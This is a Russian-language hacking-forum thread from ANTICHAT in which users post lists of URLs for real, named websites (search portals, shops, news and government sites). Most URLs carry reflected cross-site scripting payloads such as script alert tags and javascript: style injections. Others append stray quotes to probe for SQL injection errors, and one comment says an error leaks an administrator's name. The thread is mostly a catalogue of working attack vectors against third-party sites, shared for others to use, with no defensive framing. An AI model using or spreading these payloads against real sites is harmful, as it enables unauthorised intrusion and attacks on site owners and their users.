ANTICHAT — форум по информационной безопасности, OSINT и технологиям

XSS В Апорте:
_http://sm.aport.ru/scripts/template.dll?That=std&r=LOL"><script>alert(/SLIP/)</script>

__________________
..

XSS AltaVista:
_http://av.rds.yahoo.com/_ylt=A9ibyKYyWWxEDRIBWWFSDqMX;_ylu=X3oDMTBxMXBrZzZ zBHBndANhdl93ZWJfaG9tZQRzZWMDc2VhcmNo/SIG=11ofahvej/EXP=1148037810/*-http%3A//www.altavista.com/web/results?itag=ody&q=LOOL&kgs=0&kls=0"><script>alert (/SLIP/)</script>

XSS:

_http://www.delphimaster.ru/cgi-bin/search.pl?words=%3Cscript%3Ealert%28%2FNeX+aka+Neo %2F%29%3C%2Fscript%3E&n=0

Ещё пачка xss:
_http://tourism.at.ru/htsearch.cgi?config=tourism&method=and&format=flon g&words=%3Cscript%3Ealert%28%2FSLIP%2F%29%3C%2Fscr ipt%3E"><script>alert(/SLIP/)</script>

_http://hp.qsrch.com/apps/eps/eps.cgi?Keywords=%3Cimage+style%3Dbackground%3Aurl %28javascript%3Aalert%28%2FSLIP%2F%29%29%3E&loc=ST &upartner=hp03&ps=H3OTGE

_http://www.db.am/search/?wrds=%3Cimage%20style%3Dbackground%3Aurl%28javasc ript%3Aalert%28%2FSLIP%2F%29%29%3E&pg=&cat=&pa=&pb =&oo=

_http://capel.ru/search.php?search=%3Cscript%3Ealert%28%27SLIP%27%2 9%3C%2Fscript%3E

_http://www.labar.ru/?ann=0&str=%3Cscript%3Ealert%28%2FSLIP%2F%29%3C%2F script%3E

_http://www.search.uz/go.php?w=%3Cscript%3Ealert%28%2FSLIP%2F%29%3C%2Fsc ript%3E&where=directory&action=search&Submit=%EF%E E%E8%F1%EA

_http://www.smchat.ru/chat.php?chatname=%3Cscript%3Ealert();%3C/script%3ESAMPLE

Всем привет) Вот прошёлся по сайтам в которых есть поисковые системы)

_http://eda-server.ru/cgi-bin/search/search.pl?stype=AND&stpos=0&query=%3Cscript%3Ealer t%28%2FSLIP%2F%29%3C%2Fscript%3E&ok2.x=33&ok2.y=11

_http://www.printinfo.ru/searchRes.asp?SST=LOL"><script>alert(/slip/)</script>

_http://www.xfiles.ru/sudis/?action=search&vopros=%3Cscript%3Ealert%28%2Fslip% 2F%29%3C%2Fscript%3E&stype=txt

_http://www.ural.ru/index/ru?act=search&SM=UralOnline&qs=slip"><script>alert (/slip/)</script>

_http://www.bizcenter.com.ua/search.php?sf=slip&wh=2"><script>alert(/slip/)</script>

_http://www.itshop.ru/dynacatalog.asp?words=%3Cscript%3Ealert%28%2Fslip% 2F%29%3C%2Fscript%3E

_http://www.infocity.kiev.ua/search.php?newsearch=1&name=on&autor=on&des=on&sli ne=%3Cscript%3Ealert%28%2Fslip%2F%29%3C%2Fscript%3 E

_http://www.koders.com/?s=slip&_%3Abtn=Search&_%3Ala=*&_%3Ali=*"><script> alert(/slip/)</script>

Всё, на сегодня хватит)

_http://www.crpg.ru//header.php (мля, прямо не сайт, а один сплошной баг )
_http://www.nevasport.ru/news.php?id=12061'
_http://www.southexpo.ru/expo/detail.asp?id=529'
_http://www.southexpo.ru/expo/detail.asp?id=52.9
_http://www.southexpo.ru/expo/detail.asp?id=52,9
_http://www.mos.ru/cgi-bin/pbl_web?vid=1&osn_id=0' (в мыльнике имеем имя админа, может, кому-то что-то и даст)
_http://www.telcenter.ru/page.php?pageId=52'
_http://www.ht.ru/on-line/forum/?forum=7&topic=547'
_http://www.magazin.ru/scripts/magazin/Dir.pl?dir=%2F%27%D4%EE%F2%EE%F2%E5%F5%ED%E8%EA%E0 &cont=on&search=%3Cscript%3Ealert%28%2Fok%2F%29%3C %2Fscript%3E
_http://www.stroylocman.ru/cats.html?q=%3Cscript%3Ealert%28%27f0und+by+back0r ifice%27%29%3C%2Fscript%3E

_hxxp://www.telecom.kz/index.php?content='
_hxxp://www.mospat.ru/index.php?mid=84

_http://www.ozon.ru/context/kidworld_detail/id/2266364/default.aspx?Name=&Title="&
gt;<script>alert()</script>&EMail=&Description="><script>
;alert()</script>&Country=Россия/&ViewComment=Просмотреть#comment
_http://ishodniki.ru/ilook/search.php?query='style=background:url(JaVaScRiPt: alert());&
m=or
_http://by.ru/cat.cgi?query="><script>alert()</script>
_http://linuxcenter.ru/news/2005<textarea>/11
_http://www.koders.com/?s="><script>alert()</script>&_:btn=Search&a
mp;_:la=*&_:li=*
_http://www11.pochta.ru/info.php?mid=agreement&lng=ru"><script>alert()</script>
_http://games.icq.com/?code=110272767&RefId=910"><script>alert()</script>&lc=en
_http://aromas.ru/forum/search.php?text_poisk='